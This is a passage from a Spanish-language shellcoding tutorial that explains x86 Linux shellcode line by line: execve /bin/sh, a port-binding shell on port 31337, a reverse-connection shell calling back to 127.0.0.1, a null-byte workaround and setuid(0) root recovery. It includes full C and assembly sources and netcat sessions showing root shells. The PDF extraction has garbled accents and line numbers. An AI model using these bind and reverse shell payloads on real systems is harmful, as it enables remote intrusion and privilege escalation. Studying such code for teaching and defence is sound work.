Cdigo 8. Execve shellcode en ensamblador o En la segunda l nea del Cdigo 70 se pone el registro eax a cero. A continuacin o o se pone el registro edx a cero, con la instruccin cdq, tal y como se ha explicado en el o cap tulo anterior. El registro edx se utilizar como tercer parmetro de la llamada al a a sistema execve. Con la cuarta l nea se almacena el nmero de la llamada al sistema u en el registro eax. Con las lineas 5, 6 y 7 se aade el primer argumento de la llamada al sistema a n la pila. El push edx hace la funcin de terminador de cadena, dado que edx est a o a cero. La arquitectura con la que se trabaja es de 32 bits con lo que en la pila slo o se pueden insertar variables de 32 bits. As pues, y dado que la arquitectura es little endian, primero se inserta hs// con el push long 0x68732f 2f y en la siguiente l nea se inserta nib/ con el push long 0x6e69622f . Como se ha comentado, en la pila no se pueden insertar valores de ms de 32 bits en una sola instruccin, y por la misma a o razn tampoco se pueden insertar cadenas de menos de 32 bits. Este hecho justica o que la cadena hs// tenga dos / en vez de una. La duplicacin de la / no implica o 22

ningn problema. u En la octava l nea se almacena en ebx la direccin de memoria donde se encuentra la o cadena /bin//sh. Esta direccin ser el segundo parmetro de la llamada al sistema. o a a En la novena l nea se insertan en la pila 32 bits nulos que harn la funcin de a o puntero nulo en el segundo parmetro, tal y como especica la pgina del manual de a a la llamada al sistema execve. En la dcima l e nea se almacena la direccin de este puntero nulo en el registro edx o para usarlo como tercer parmetro de la llamada al sistema. a En la l nea 11, se aade a la pila la direccin de memoria donde se encuentra la n o cadena /bin//sh -o sea, se inserta el puntero a la cadena- para que, posteriormente, en la l nea 12, sea utilizado como segundo parmetro almacenndose en el registro a a ecx. En la l nea 13 noticamos al ncleo de que todo est preparado para que se ejecute u a una llamada al sistema. Tal y como se puede ver en el Cdigo 9 la ejecucin de este shellcode local se o o realiza de un modo satisfactorio y el usuario obtiene su l nea de comandos con la que ejecutar cualquier programa.n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / E x ec ve Sh e ll co de / P ushingEx ecve$ ./ genExec . sh execve - Pushing2 . S #### Generating executable ... #### sourceDOTo = execve - Pushing2 . o executable = execve - Pushing2 ld : warning : cannot find entry symbol _start ; defaulting to 0 0 0 0 0 00 0 0 8 0 4 8 0 6 0 [ sudo ] password for newlog : n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / E x ec ve Sh e ll co de / P ushingEx ecve$ ./ execve - Pushing2 # id uid =1000( newlog ) gid =1000( newlog ) euid =0( root ) groups =4( adm ) ,20( dialout ) , 24( cdrom ) ,46( plugdev ) ,104( lpadmin ) ,115( admin ) ,120( sambashare ) ,1000( newlog ) # exit

Cdigo 9. Ejecucin Execve shellcode o o Como se puede ver en el Cdigo 9, para la generacin del ejecutable nal del o o shellcode se utiliza el script genExec.sh. Para entender el funcionamiento de este script y muchos otros detalles sobre la generacin de los ejecutables que se utilizarn o a en esta investigacin, se remite al lector al Apndice II. o e

6.2.

Shellcodes remotos

Como se ha comentado al inicio de este cap tulo, este tipo de shellcode ser utia lizada cuando no se disponga de acceso f sico a la mquina objetivo. El objetivo de a este tipo de shellcodes es ejecutarse en sof tware que est pensado para gestionar e peticiones recibidas. Una vez el sof tware haya sido explotado, el shellcode se encargar de que el sistema vulnerado se conecte a una mquina espec a a ca, o espere

23

y acepte una conexin o simplemente env informacin sensible. Como ya se ha o e o comentado, las limitaciones de un shellcode dependen slo de nuestra imaginacin. o o

6.2.1.

Port binding shellcode

Este tipo de shellcode es uno de los ms habituales cuando se trata de explotar a vulnerabilidades remotas. El objetivo de este shellcode es el de vincular el intrprete e de comandos del sistema -shell- a un puerto determinado donde escuchar a la espera a de conexiones remotas. Un diagrama de ujo vlido para este tipo de shellcode ser a a el de la Figura 4. Figura 4. Diagrama de ujo

24

El diagrama de ujo es bastante autoexplicativo, sin embargo, una vez se revise el cdigo en c que responde a dicho diagrama, se har una explicacin concisa de cada o a o instruccin que implique cierta dicultad o novedad. Una posible implementacin o o del shellcode de vinculacin a un puerto podr ser la mostrada en el Cdigo 10. o a o1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20

# include < unistd .h > # include < sys / socket .h > # include < netinet / in .h > int main ( void ) { int new , i , sockfd = socket ( AF_INET , SOCK_STREAM ,0) ; struct sockaddr_in sin ; sin . sin_family = AF_INET ; sin . sin_addr . s_addr = 0; sin . sin_port = htons (12345) ; bind ( sockfd , ( struct sockaddr *) & sin , sizeof ( sin ) ) ; listen ( sockfd , 5) ; new = accept ( sockfd , NULL , 0) ; for ( i = 2; i >= 0; i - -) dup2 ( new , i ) ; char * shell [2]; shell [0] = " / bin / sh " ; shell [1] = 0; execve ( shell [0] , shell , NULL ) ; }

Cdigo 10. Shellcode de vinculacin a un puerto en C o o Este cdigo vincula un socket14 al puerto 1234 y ejecuta una shell cuando alguien o se conecta a este puerto. Las funciones bsicas de este cdigo y de la mayor de a o a cdigos que trabajan con sockets realizan las conexiones con bind(), listen(), accept() o y dup2(). Para obtener informacin sobre cada una de ellas basta con visualizar las o 15 pginas de manuales que la mayor de sistemas unix tienen instaladas por defecto. a a El funcionamiento de este cdigo es el siguiente: o Primero se crea un socket que es el que se utilizar como parmetro para la funcin a a o accept(). Al mismo tiempo, se declara otro socket que ser el que utilizar para a a almacenar el valor de retorno de la funcin accept(). o De la sexta a la novena l nea, se declara -l nea 6- y se inicializa la estructura de datos necesaria para ejecutar la funcin bind. Como ya se ha comentado, todos los o campos de esta estructura se pueden consultar en las pginas correspondientes de a14 Un socket es un concepto abstracto denido por una direccin IP, un protocolo de transporte o y un puerto que permite intercambiar informacin entre dos programas. o 15 Para ver un manual sobre una funcin espec o ca, basta con ejecutar en una shell el comando man . Un claro ejemplo seria man dup2.

25

su manual, sin embargo, comentaremos que la constante AF INET especica que la conexin que se realizar utilizar el protocolo T CP . La funcin htons() se encarga o a a o de convertir el valor entero que recibe de entrada a un formato con el que la funcin o bind() pueda trabajar. En la l nea 11 se ejecuta la funcin listen() que mantiene la ejecucin del cdigo o o o pausada hasta que se recibe una conexin con los parmetros denidos en el socket o a sockf d. Una vez se realiza dicha conexin, sta se acepta y se devuelve un socket que o e identica la conexin recibida. En las l o neas 13 y 14 se ejecuta un bucle tres veces que se encarga de duplicar los descriptores de lectura, escritura y salida de errores. Esto permite que todos los datos que se trasmitan de y hasta la consola ejecutada posteriormente, las pueda visualizar el usuario. Por ultimo, en la l nea 18 se ejecuta la consola que ser brindada al usuario. a Para comprobar que el Cdigo 10 funciona correctamente, una vez compilado o y ejecutado, se debe realizar una conexin hacia el socket que estar a la escucha. o a Para realizar dicha conexin se utilizar una herramienta muy util llamada N etcat o a 16 . N etcat es una herramienta muy extensa y tiene innidad de utilidades. En esta investigacin, N etcat slo se utilizar para conectar hacia una aplicacin que est a o o a o e la escucha - port binding shellcode - o para esperar que una aplicacin - reverse o connection shellcode - se conecte a l. e En el Cdigo 11 se muestra el funcionamiento del shellcode de vinculacin a un o o puerto escrito en C.n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / PortBinding / CSource$ gcc P or tB i nd in gC o de . c -o P or t Bi nd in g Co de n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / PortBinding / CSource$ sudo ./ P o rt Bi nd i ng Co de

Cdigo 11. Ejecucin del shellcode de vinculacin a un puerto en C o o o Como se puede ver, primero se compila el cdigo generado y acto seguido se o ejecuta como usuario root 17 . Una vez que el shellcode est a la escucha, se debe a conectar a l siguiendo la metodolog mostrada en el Cdigo 12. e a on e wl o g @ B e l e r i a n d :~ $ pwd / home / newlog n e wl o g @ B e l e r i a n d :~ $ nc - vv 127.0.0.1 12345 Connection to 127.0.0.1 12345 port [ tcp /] succeeded ! pwd / home / newlog / Documentos / Shellcoding / Codigos / PortBinding / CSource id uid =0( root ) gid =0( root ) groups =0( root ) exit

Cdigo 12. Ejecucin del shellcode de vinculacin a un puerto en C o o oNetcat es una herramienta creada por Hobbit. Su pgina a ocial http://netcat.sourceforge.net/ 17 El usuario root es el usuario administrador del sistema y tiene privilegios mximos. a16

es

26

Tal y como se muestra en el Cdigo 12, primero se conecta al puerto 12345 de la o mquina local. La ejecucin de la herramienta N etcat se realiza desde el directorio a o /home/newlog. El shellcode de vinculacin a un puerto est escuchando en el puerto o a 12345, as que cuando se conecten a l brindar una l e a nea de comandos, y no tan slo o brindar una l a nea de comandos, sino que adems la brindar con los permisos que a a tiene el port binding shellcode, que, tal y como se ha asignado en el Cdigo 11, son o los permisos del usuario root. Como se puede ver, una vez se ha conectado con el shellcode, se muestra a partir del comando pwd que el directorio actual sobre el que se est trabajando es a /home/newlog/Documentos/Shellcoding/ Codigos/P ortBinding/CSource que es el directorio donde se hab ejecutado el a shellcode, en vez de trabajar sobre el directorio /home/newlog que es en el que se hab ejecutado la herramienta N etcat. Por otro lado, si se comprueba cual es el a identicador de usuario se puede ver que es el de usuario root en vez de ser el de cualquier otro usuario. Una vez visto y entendido el funcionamiento del cdigo en c, se debe explicar su o implementacin en ensamblador. Para escribir el shellcode se utilizar una system o a call llamada socketcall(). Tal y como se puede ver en el manual correspondiente man 2 socketcall -, esta llamada al sistema permite acceder -ejecutar- a todas las funciones utilizadas en el ejemplo anterior. La totalidad de las funciones que se pueden ejecutar con la llamada al sistem socketcall() se pueden encontrar en el chero /usr/include/linux/net.h. La sintaxis de socketcall() es la siguiente: int socketcall(int llamada, unsigned long * args); El primer argumento es un entero que identica la llamda al sistema a ejecutar. El segundo argumento es un puntero a la lista de parmetros que necesita la llamada al a sistema que se quiere ejecutar. En ensamblador, la llamada al sistema que identica a socketcall() es la nmero 102 y se debe almacenar en el registro eax, el argumento u llamada se almacena en el registro ebx y por ultimo, la direccin de memoria donde o estan almacenados los dems argumentos - args - se debe almacenar en el registro ecx. a En el Cdigo 13 se lista el cdigo fuente en ensamblador del port binding shellcode. o o Debido a que el cdigo es bastante extenso, cada l o nea tendr su propia explicacin a o en vez de dar una explicacin conjunta al nal. Comentar el cdigo permite dar una o o explicacin mucho ms detallada. o a1 2 3 4

BITS 32 section .text global _start _start :

27

5 6

7 8 9 10 11 12 13 14 15 16 17 18 19 20

; syscall socketcall ( ebx , ecx ) donde ebx = numero funcion y ; ecx = direccion de parametros de funcion. ; s = socket (2 , 1 , 0) ; ; Llamada al sistema 102 , socketcall () . push byte 0 x66 ; En eax se almacena el numero 102 . pop eax ; Se pone a cero el registro edx. cdq ; Se pone a cero el registro ebx. xor ebx , ebx ; Se construyen los argumentos de la llamada a socket () y ; se empilan en orden inverso ; Dentro de socketcall () , la llamada socket es la numero uno. inc ebx ; Se empila el tercer parametro , protocol = 0 . push edx ; Se empila el segundo parametro , SOCK_STREAM = 1 . push byte 0 x1 ; Se empila el primer parametro , AF_INET = 2 push byte 0 x2 ; En ecx se almacena la direccion donde estan ubicados los parametros. mov ecx , esp ; Syscall socketcall () con la funcion socket () . int 0 x80 ; Se guarda el descriptor obtenido en esi para usarlo despues xchg esi , eax ; bind (s , [2 , 31337 , 0] , 16) ; ; Llamada al sistema 102 , socketcall () . push byte 0 x66 ; En eax se almacena el numero 102 . pop eax ; Se construyen los argumentos de la llamada a bind () y ; se empilan en orden inverso ; Ebx era 1 , ahora es 2 . Dentro de socketcall () la llamada bind es la dos. inc ebx

21 22 23 24 25 26 27 28

29 30 31 32 33

34 35 36 37 38 39 40 41 42 43

44

28

45

46 47 48 49

50 51

52 53

54 55

56 57 58 59 60 61

62 63 64 65 66 67 68

; Se empila el tercer parametro del struct , INADDR_ANY = 0 . push edx ; Se empila el segundo parametro del struct , PORT = 31337 . push word 0 x697a ; Se empila el primer parametro del struct , AF_INET = 2 . Ebx = 2 . push word bx ; En ecx se almacena la direccion del struct con los parametros. mov ecx , esp ; Se empilan todos los parametros en orden inverso para posteriormente ; obtener su direccion. ; Se empila el tamano del struct , sizeof ( server_struct ) = 16 push byte 16 ; Se empila la direccion del struct. push ecx ; Se empila el descriptor obtenido anteriormente. push esi ; En ecx se guarda la direccion donde estan todos los parametros. mov ecx , esp ; Syscall socketcall () con la funcion bind () . int 80 h ; listen (s , 4) ; ; Llamada al sistema 102 , socketcall () . Sin push / pop se ahorra un byte. mov byte al , 0 x66 ; Se construyen los argumentos de la llamada a listen () y ; se empilan en orden inverso ; Realizar dos inc ocupa lo mismo que un mov byte bx , 0 x4. inc ebx ; Dentro de socketcall () , la llamada listen es la cuatro. inc ebx ; Se empila el segundo parametro , backlog = 4 . Maximo num conexiones en cola. push ebx ; Se empila el descriptor obtenido por la llamada socket () . push esi ; En ecx se almacena la direccion de los parametros.

69 70 71 72 73 74 75 76

77 78

79 80

29

81 82 83 84 85 86

mov ecx , esp ; Syscall socketcall () con la funcion listen () . int 80 h ; c = accept (s , 0 , 0) ; ; Llamada al sistema 102 , socketcall () . Sin push / pop se ahorra un byte. mov byte al , 0 x66 ; Se construyen los argumentos de la llamada a accept () y ; se empilan en orden inverso ; Dentro de socketcall () , la llamada accept es la numero cinco. inc ebx ; Se empila el tercer parametro. push edx ; Se empila el segundo parametro. push edx ; Se empila el descriptor obtenido anteriormente. push esi ; En ecx se almacena la direccion de los parametros. mov ecx , esp ; Syscall socketcall () con la funcion accept () . Conection descriptor in eax. int 80 h ; En eax se almacena un cinco y en ebx el descriptor devuelto por accept () . xchg eax , ebx ; dup2 ( descriptor aceptado , descriptores I / O estandar ) ; ; Maximo descriptor estandar almacenado en ecx. push byte 0 x2 pop ecx ; Etiqueta para el bucle. dup_l00p : ; Llamada al sistema 63 . Se debe poner dentro del bucle. ; Eax se sobreescribe con el valor de retorno de dup2 () . mov byte al , 0 x3F ; Syscall dup2 () . int 80 h ; Se Decrementa el descriptor estandar hasta que sea cero. dec ecx ; Se salta a la etiqueta hasta que el flag de signo sea uno = ecx negativo. jns dup_l00p

87 88 89 90

91 92 93 94 95 96 97 98 99 100

101 102 103

104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119

120

30

121 122

123 124 125 126 127 128 129 130 131 132 133

; execve ( const char * file , char * const argv [] , char * const envp []) ; xor eax , eax mov byte al , 11 push edx push 0 x68732f2f push 0 x6e69622f mov ebx , esp push edx mov edx , esp push ebx mov ecx , esp int 80 h

Cdigo 13. Cdigo del shellcode de vinculacin a un puerto en ensamblador o o o La parte de cdigo que no est comentada es la que ya se ha explicado anterioro a mente en el apartado de shellcodes locales. La unica diferencia es que el registro edx no se inicializa a cero ya que una vez se alcanza la parte de cdigo del execve o shellcode, edx ya es cero. Por otro lado, el puerto al que se escucha tambin se ha e modicado. Ahora ya no es el puerto 12345, sino el 31337. En el Cdigo 14 se muestra el comportamiento del shellcode de vinculacin a un o o puerto y se podr comprobar como es el mismo que el visto cuando el cdigo fuente a o fu escrito en C. en e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / PortBinding / ASMSource$ . / genExec.sh PortBinding.S #### Generating executable... #### sourceDOTo = PortBinding.o executable = PortBinding [ sudo ] password for newlog : n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / PortBinding / ASMSource$ . / PortBinding

Cdigo 14. Ejecucin del shellcode de vinculacin a un puerto en ensamblador o o o Como se puede ver, en el Cdigo 14 se compila el shellcode escrito en ensamblador o a partir del script genExec.sh. Tal y como se ha comentado, todos los detalles sobre la compilacin de los diferentes cdigos de esta investigacin se dan en el Apndice o o o e II. Cabe destacar que una vez se ha generado el ejecutable, se le otorgan privilegios de root. En el Cdigo 15 se muestra como conectar con el shellcode y como una o vez se ha conectado se dispone de un identicador de usuario efectivo de root, lo que permite realizar las mismas operaciones que podr realizar el usuario root. Una a breve explicacin sobre el signicado que atributos como uid o euid se da en los o prximos cap o tulos. 31

n e wl o g @ B e l e r i a n d :~ $ id uid =1000( newlog ) gid =1000( newlog ) , grupos =4( adm ) ,20( dialout ) , 24( cdrom ) ,46( plugdev ) ,104( lpadmin ) ,115( admin ) ,120( sambashare ) ,1000( newlog ) n e wl o g @ B e l e r i a n d :~ $ nc - vv 127 .0.0.1 31337 Connection to 127 .0.0.1 31337 port [ tcp /] succeeded ! id uid =1000( newlog ) gid =1000( newlog ) euid =0( root ) , groups =4( adm ) ,20( dialout ) , 24( cdrom ) ,46( plugdev ) ,104( lpadmin ) ,115( admin ) ,120( sambashare ) ,1000( newlog ) pwd / home / newlog / Documentos / Shellcoding / Codigos / PortBinding / ASMSource exit

Cdigo 15. Conexin al shellcode de vinculacin a un puerto en ensamblador o o o

32

6.2.2.

Reverse connection shellcode

El desarrollo de este tipo de shellcodes parte de la necesidad de saltarnos las restricciones que implementa un cortafuegos. Normalmente, la mayor de cortafuegos ltran el trco entrante de un ordenador a a o una red de ordenadores. Sin embargo, el trco saliente no acostumbra a estar a bloqueado ya que en la mayor de casos ocasionar ms problemas de los que solua a a cionar a. As pues, el reverse connection shellcode, shellcode de conexin inversa, a diferencia o del shellcode de vinculacin a un puerto, se encarga de realizar una conexin saliente o o del ordenador vulnerado hacia una mquina especicada en el mismo shellcode. a En C, el shellcode de conexin inversa se puede implementar como en el Cdigo 16. o o

1 2 3 4 5 6 7 8 9 10 11 12 13

# include < sys / socket .h > # include < netinet / in .h > int main () { char * shell [2]; int soc , rc ; struct sockaddr_in serv_addr ; serv_addr . sin_family = 2; serv_addr . sin_addr . s_addr = inet_addr ( " 127.0.0.1 " ) ; serv_addr . sin_port = htons ( " 12345 " ) ; soc = socket (2 , 1 , 0) ; rc = connect ( soc , ( struct sockaddr *) & serv_addr , 0 x10 ) ; dup2 ( soc , 0) ; dup2 ( soc , 1) ; dup2 ( soc , 2) ; shell [0] = " / bin / sh " ; shell [1] = 0; execve ( shell [0] , shell , 0) ; }

14 15 16 17 18 19

Cdigo 16. Shellcode de conexin inversa en C o o El cdigo de este shellcode es muy parecido al del port binding shellcode. Como o ya se ha comentado, este cdigo se conectar a un socket que est a la escucha, en o a e vez de ser l mismo el que est a la escucha. e e En la sexta l nea, se declara la estructura sockaddr in que es la que se ha de especicar para llevar a cabo o para recibir una conexin. o En la sptima l e nea, el nmero dos es el valor que tiene la constante AF INET, igual u que en la l nea nmero diez. En la misma l u nea nmero diez, el nmero uno es el u u valor de la constante SOCK STREAM y con el 0 se especica el protocolo. 33

En la octava l nea, se especica que la direccin ip a la que conectar. La funcin o o inet addr() permite al programador asignar una direccin ip a una variable de un o modo mucho ms legible. Lo mismo ocurre con la funcin htons(). Para comprender a o el funcionamiento de estas dos funciones, basta con ejecutar en un terminal los comandos man 3 inet addr y man htons respectivamente. En la l nea 10 se crea un socket con los parmetros que se han explicado anteriora mente. Este socket ser el identicador de la conexin a partir de este momento. a o En la l nea 11, se intenta conectar a partir de los datos especicados en la creacin o del socket y de la estructura sockaddr in. Acto seguido, se duplican los descriptores de entrada y salida tal y como ya se ha explicado en los cap tulos anteriores y por ultimo se ejecuta la shell que ser brindada al usuario. a Una vez visto el cdigo fuente en C del shellcode de conexin inversa, el Cdigo o o o 17 muestra una posible implementacin en ensamblador. Al igual que con el shellcode o de vinculacin a un puerto, el cdigo fuente se comentar en el mismo cdigo en vez o o a o de hacerlo posteriormente.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20

BITS 32 section .text global _start _start : ; syscall socketcall ( ebx , ecx ) donde ebx = numero funcion ; y ecx = direccion de parametros de funcion ; s = socket (2 , 1 , 0) ; ; Llamada al sistema 102 , socketcall () . push byte 0 x66 ; En eax almacenamos el numero 102 . pop eax ; Ponemos a cero el registro edx. cdq ; Ponemos a cero el registro ebx. xor ebx , ebx ; Construimos los argumentos de la llamada a socket () ; y los empilamos en orden inverso ; Dentro de socketcall () , la llamada socket es la numero uno. inc ebx ; Empilamos el tercer parametro , protocol = 0 . push edx ; Empilamos el segundo parametro , SOCK_STREAM = 1 . push byte 0 x1

21 22 23 24 25

34

26 27 28

29 30 31 32 33

; Empilamos el primer parametro , AF_INET = 2 push byte 0 x2 ; En ecx almacenamos la direccion donde estan ubicados los parametros. mov ecx , esp ; Syscall socketcall () con la funcion socket () . int 0 x80 ; Se guarda el descriptor obtenido en esi para usarlo despues. xchg esi , eax ; connect (s , [2 , 31337 , ] , 16) ; ; Llamada al sistema 102 , socketcall () . push byte 0 x66 ; En eax se almacena el numero 102 . pop eax ; Ebx = 2 para utilizarlo como la constante AF_INET. inc ebx ; Se construyen los argumentos de la llamada connect () ; y se empilan en orden inverso. ; Se empila la direccion IP. Las b sustituyen a bytes nulos ; que se modificaran en tiempo de ejecucion. ; Se impila la direccion IP. 7 f = 127 , 01 = 1 , bb = 187 . Tercer parametro. push dword 0 x01bbbb7f ; Se pone a cero el registro ecx. xor ecx , ecx ; Se sustituyen las b de la IP por ceros. IP = 127 .0.0.1. mov word [ esp +1] , cx ; Se empila el puerto 31337 . 7 a69h = 31337 d. Segundo parametro. push word 0 x697a ; Se empila el primer parametro de la estructura. AF_INET = 2 = Ebx. push word bx ; En ecx se almacena la direccion de la estructura. mov ecx , esp ; Se empila el tercer parametro de la funcion connect () . push byte 16 ; Se empila la direccion de la estructura construida como segundo parametro. push ecx

34 35 36 37 38 39 40 41 42 43 44 45

46 47

48 49 50 51

52 53

54 55

56 57 58 59 60 61

62

35

63

64 65

66 67

68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86

; Se empila el primer parametro. El descriptor obtenido por socket () . push esi ; En ecx se almacena la direccion de todos los params de la funcion connect () . mov ecx , esp ; Dentro de socketcall () , la llamada connect () es la tercera. inc ebx ; Syscall socketcall () con la funcion connect () . int 80 h mov ebx , esi ; dup2 ( descriptor aceptado , descriptores I / O estandar ) ; ; Maximo descriptor estandar almacenado en ecx. push byte 0 x2 pop ecx ; Etiqueta para el bucle. dup_l00p : ; Llamada al sistema 63 . Se debe poner dentro del bucle. ; Eax se sobreescribe con el valor de retorno de dup2 () . mov byte al , 0 x3F ; Syscall dup2 () . int 80 h ; Se Decrementa el descriptor estandar hasta que sea cero. dec ecx ; Se salta a la etiqueta hasta que el flag de signo sea uno = ecx negativo. jns dup_l00p ; execve ( const char * file , char * const argv [] , char * const envp []) ; xor eax , eax mov byte al , 11 push edx push 0 x68732f2f push 0 x6e69622f mov ebx , esp push edx mov edx , esp push ebx mov ecx , esp int 80 h

87 88 89

90 91 92 93 94 95 96 97 98 99 100

Cdigo 17. Shellcode de conexin inversa en ensamblador o o 36

Por ultimo, cabe destacar que si una direccin IP que se inserta en el shellcode o contiene bytes nulos, el shellcode contendr bytes nulos y, por consiguiente, no se a ejecutar correctamente. Para plantear una solucin a este problema se utilizar un a o a ejemplo para ilustrar la metodolog a seguir en estos casos. a Imagine que el shellcode de conexin inversa se tuviera que conectar a la ip de o loopback, 127.0.0.1 donde 127 en hexadecimal equivale a 7f, 0 a 00 y 1 a 01. Como se puede apreciar a simple vista, dicha ip contiene bytes nulos, as que si se utilizara un cdigo tal que el 18 para almacenar la direccin ip en el shellcode, ste no se o o e ejecutar correctamente. a1 2 3 4

BITS 32 xor eax , eax push DWORD 0 x0100007f pop eax

Cdigo 18. Insercin erronea de un byte nulo o o Recordemos que debido a que el sistema sobre el que se trabaja est basado en a una arquitectura little endian, las inserciones en la pila de varios bytes se deben realizar de manera inversa a su lectura, de izquierda a derecha. Despus de ejecutar este cdigo, en eax se deber almacenar el valor en hexadecimal e o a de la ip. Sin embargo, esto no ocurrir ya que la funcin con la que obtenemos el a o cdigo del shellcode no pasar del momento en el que se encuentre con el primer byte o a nulo. Un cdigo que solucionar dicho problema es el citado en el Cdigo 19: o a o

1 2 3 4 5

BITS 32 xor eax , eax push DWORD 0 x01BBBB7f mov WORD [ esp +1] , ax pop eax

Cdigo 19. Solucin a la insercin erronea de un byte nulo o o o En la segunda l nea se almacena la ip en la pila, pero en vez de insertar los bytes nulos, los substituimos por cualquier otro valor que no genere conictos. En la siguiente l nea, se escribe en la pila el contenido del registro ax. El registro ax contiene bytes nulos debido a que se ha realizado una correcta inicializacin. Estos o bytes nulos se escriben en la posicin esp+1, lo cual colocar 16 bits -tamao del o a n registro ax- a cero en la posicin esp + 1 byte. Como se puede comprobar, en el o shellcode de conexin inversa citado en el Cdigo 17 ya se ha utilizado esta tcnica. o o e Para comprobar que el shellcode de conexin inversa funciona correctamente se o ha de proceder tal y como se muestra en el Cdigo 20 y el Cdigo 21. o o 37

n e wl o g @ B e l e r i a n d :~ $ nc - lvv 127 .0.0.1 31337 Connection from 127 .0.0.1 port 31337 [ tcp /] accepted id uid =1000( newlog ) gid =1000( newlog ) euid =0( root ) , groups =4( adm ) ,20( dialout ) , 24( cdrom ) ,46( plugdev ) ,104( lpadmin ) ,115( admin ) ,120( sambashare ) ,1000( newlog ) pwd / home / newlog / Documentos / Shellcoding / Codigos / R e v e r s e C o n n e c t i o n / ASMSource exit n e wl o g @ B e l e r i a n d :~ $ pwd / home / newlog

Cdigo 20. Netcat a la escucha o En el Cdigo 20 primero de todo se pone la herramienta Netcat a la escucha de o conexiones en el puerto 31337. Una vez se conecta el shellcode de conexin inversa a o Netcat, el shellcode lanza una l nea de comandos que permite al usuario que ha puesto Netcat a la escucha ejecutar comandos. Acto seguido, se ejecuta el comando id para demostrar que el identicador de usuario efectivo es el del usuario root. Despus se e ejecuta el comando pwd mientras el usuario dispone de la l nea de comandos lanzada por el shellcode y una vez se naliza dicha l nea de comandos se vuelve a ejecutar el comando pwd para demostrar que su salida no es la misma y que, por tanto, los comandos ejecutados por el usuario se estaban ejecutando en la l nea de comandos lanzada por el shellcode. El Cdigo 21 muestra como se compila y se ejecuta el cdigo del shellcode de o o conexin inversa. on e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / R e v e r s e C o n n e c t i o n / ASMSource$ . / genExec.sh R e v e r s e C o n n e c t i o n . S #### Generating executable... #### sourceDOTo = R e v e r s e C o n n e c t i o n . o executable = R e v e r s e C o n n e c t i o n [ sudo ] password for newlog : n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / R e v e r s e C o n n e c t i o n / ASMSource$ . / Re v e r s e C o n n e c t i o n

Cdigo 21. Ejecucin del shellcode o o

38

7.

Hacking de shellcodes

El hecho de crear un shellcode funcional ya se puede considerar hacking, sin embargo, en este apartado se incluyen tcnicas que distan mucho de ser simples optie mizaciones. En este apartado trataremos los aspectos ms avanzados en el desarrollo a de shellcodes. Haciendo una breve enumeracin, los conceptos que se tratarn son el o a de reutilizacin de las variables del programa exploratdo, reutilizacin de los sockets o o y los descriptores de archivo, la recuperacin de los privilegios de root al explotar o una aplicacin y la codicacin y decodicacin al vuelo de los shellcodes. o o o

7.1.

Cuestin de privilegios o

En este apartado se explicar un concepto que se deber implementar en la a a mayor de shellcodes, previniendo as uno de los mtodos con el que algunos de los a e programadores ms precavidos intentarn proteger su aplicacin. a a o Antes de entrar en una explicacin sobre desarrollo de esta tcnica, se deben o e explicar algunos de los atributos de un proceso, el uid y el euid. El uid18 es el atributo de un proceso que indica quien es el propietario actual de dicho proceso. Por ejemplo, si un usuario estndar intentara eliminar un proceso del que a no es propietario, el sistema no lo permitir Adems de los procesos, los cheros y a. a los directorios tambin disponen del atributo uid. As si un proceso intenta ejecutar e , una operacin sobre un chero, el kernel comprobar si el euid19 del proceso coincide o a con el uid del chero. As pues, el uid es el identicador de usuario real que coincide con el identicador del usuario que arranc el proceso. El euid es el identicador de usuario efectivo y o se le llama as debido a que es el identicador que se tiene en cuenta a la hora de considerar permisos. Se utiliza para determinar el propietario de los cheros recin e creados, para permitir el acceso a los cheros de otros usuarios. . . A continuacin hay un ejemplo para acabar de entender la utilidad de estos dos o atributos: Normalmente, el uid y el euid coinciden, sin embargo, si un usuario U1 ejecuta un programa P que pertenece a otro usuario U2 y que tiene activo el bit SI SU ID, entonces el proceso asociado a la ejecucin de P (por parte de U1) va a cambiar o su euid y tomar el valor del uid del usuario U2. Por tanto, el uid y el euid no a coincidiran. El primero har referencia al usuario U1 y el segundo al usuario U2. a Una vez explicado lo anterior, se presentar cmo los programadores ms hbia o a a les o concienciados intentan proteger sus programas y cmo se pueden saltar estas o18 19

U ser Identif ier, identicador de usuario. Efective User Identier, identicador de usuario efectivo.

39

medidas de seguridad. A partir de ahora, el mtodo que veremos para saltarnos esta e medida de seguridad lo incluiremos en el conjunto de shellcodes, sin embargo, por si slo, este shellcode ser intil. Esta tcnica es conocida como setuid shellcode. o a u e Cual es la problemtica? Normalmente, cuando un programa es explotado para cona seguir privilegios de root, el atacante -su proceso- recibe un euid igual a cero, cuando en realidad lo que realmente se necesita es un uid igual a cero20 . Solucionar este problema es muy simple y es de lo que se encarga la funcin setuid(in);. En el Cdigo o o 22 se muestra el cdigo fuente en C y en el Cdigo 23 su respectiva implementacin o o o en ensamblador.1 2 3 4

# include < stdio .h > int main ( void ) { setuid (0) ; }

Cdigo 22. Funcin setuid en C o oBITS 32 xor ebx , ebx lea eax , [ ebx +0 x17 ] int 0 x80

1 2 3 4

Cdigo 23. Funcin setuid en ensamblador o o Con el Cdigo 23 se establece el uid del proceso a cero. Este mismo shellcode o podr haberse implementado de un modo ms claro, tal y como se ve en el Cdigo a a o 24.1 2 3 4 5

BITS 32 xor eax , eax xor ebx , ebx mov al , 0 x17 int 0 x80

Cdigo 24. Funcin setuid en ensamblador sin optimizar o o Como se puede apreciar, la tercera instruccin del Cdigo 23 se encarga de insertar o o un 0x17 en el registro eax gracias a que ebx est inicializado a cero. La instruccin a o 21 lea se encarga de cargar la direccin efectiva calculada en una expresin. En el o o ejemplo presentado, lea eax, [ebx + 0x17], en el registro eax se carga la direccin o calculada a partir de sumar el contenido del registro ebx ms el valor 17 en hexadea cimal. Gracias a que el registro ebx est a 0, en el registro eax se almacena el valor a20 21

El uid que identica al root es el 0. Load Ef f ective Address

40

